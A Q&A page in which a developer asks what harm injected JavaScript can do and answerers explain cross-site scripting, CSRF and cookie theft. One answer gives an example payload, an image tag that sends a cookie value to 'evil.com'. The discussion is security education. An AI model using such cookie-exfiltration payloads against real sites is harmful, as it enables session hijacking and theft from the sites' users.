Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What harm can javascript do?

I just happen to read the joel's blog here...

So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.

Since javascript runs on client end. All it can access or do is only on the client end.

  1. It can read informations stored in hidden fields and change them.
  2. It can read, write or manipulate cookies...

But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...

Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.

Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.

like image 512
The King Avatar asked Dec 23 '10 15:12

The King


3 Answers

Cross Site Scripting is a really big issue with javascript injection

like image 63
Joe Avatar answered Nov 20 '22 20:11

Joe


It can read, write or manipulate cookies

That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.

like image 37
Darin Dimitrov Avatar answered Nov 20 '22 18:11

Darin Dimitrov


I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.

like image 3
Russ Cam Avatar answered Nov 20 '22 18:11

Russ Cam